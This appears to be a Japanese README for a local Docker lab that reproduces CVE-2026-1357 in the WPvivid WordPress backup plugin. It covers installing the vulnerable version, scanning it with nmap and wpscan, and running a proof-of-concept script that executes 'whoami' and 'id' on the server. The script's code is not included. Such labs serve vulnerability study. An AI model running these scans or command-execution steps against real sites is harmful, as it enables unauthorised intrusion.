CVE-2026-1357

CVE-2026-1357 のラボ環境

1. 環境の構築

sudo apt update && sudo apt install docker.io docker-compose -y

sudo systemctl start docker

git clone [リポジトリのリンク]

wget https://downloads.wordpress.org/plugin/wpvivid-backuprestore.0.9.123.zip

unzip wpvivid-backuprestore.0.9.123.zip

sudo docker-compose up -d

FireFox の場合:

http://localhost

サイトタイトル: Admin Cyber-Hub

ユーザー名: Admin

パスワード: 任意

メール: [email protected]

2. 脆弱性の悪用:

WordPress からプラグインとキーを有効化

pip3 install requests pycryptodome --break-system-packages

nmap -sV -sC localhost

wpscan --url http://localhost --enumerate p --plugins-detection aggressive

python3 poc.py -u http://localhost -c "whoami"

python3 poc.py -u http://localhost -c "id"